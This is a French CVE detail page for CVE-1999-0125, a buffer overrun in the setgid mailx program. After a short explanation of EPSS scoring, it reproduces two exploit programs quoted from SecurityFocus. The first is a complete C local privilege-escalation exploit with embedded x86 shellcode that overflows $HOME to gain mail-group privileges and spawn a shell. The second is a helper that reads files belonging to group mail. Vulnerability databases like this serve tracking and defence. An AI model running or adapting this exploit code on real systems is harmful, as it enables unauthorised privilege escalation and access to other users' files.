CVE-1999-0125 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/393/info A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. /* * mailxploit.c (Linux/i386) * Sat Jun 20 00:47:59 CEST 1998 * Alvaro Martinez Echevarria <[email protected]> * Exploit a buffer overrun in mailx using the environment variable * $HOME, to acquire "mail" group privileges (assuming that mailx * is installed setgid mail). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /* * The location of mailx. */ #define MAILX "/usr/bin/mail" /* * The gid for group mail (represented in a char, in hexadecimal). */ #define GID "\x08" #define DEFAULT_OFFSET 2000 #define DEFAULT_BUFFER_SIZE 1124 #define NOP 0x90 char shellcode[] = /* seteuid(GID); setreuid(GID,GID); */ "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80" "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80" /* generic shell code by Aleph One */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; addr = get_sp() - offset; if ((buff=(char *)malloc(bsize))==NULL) { fprintf(stderr,"error in malloc()\n"); exit(1); } ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("HOME",buff,1); execl(MAILX,MAILX,"-n","-f","~/patata",NULL); exit(0); }

// source: https://www.securityfocus.com/bid/393/info A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. // this is nothing special, it allows you to read files that are // readable by the group 'mail'. // feedback: segv <[email protected]> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> void usage(char *prog); void main(int argc, char *argv[]) { char buffer[1024]; int fd, bytes; if(argc != 3) usage(argv[0]); if((strcmp(argv[1],"-c"))) usage(argv[0]); else { if((fd=open(argv[2],O_RDONLY)) == -1) { perror("open"); exit(1); } while((bytes=read(fd,buffer,sizeof(buffer))) > 0) write(1,buffer,bytes); close(fd); } exit(0); } void usage(char *prog) { fprintf(stderr,"this program should be invoked by mailx\n"); fprintf(stderr,"remember to set the env var 'SHELL' to the\n"); fprintf(stderr,"name of this program.\n"); exit(1); }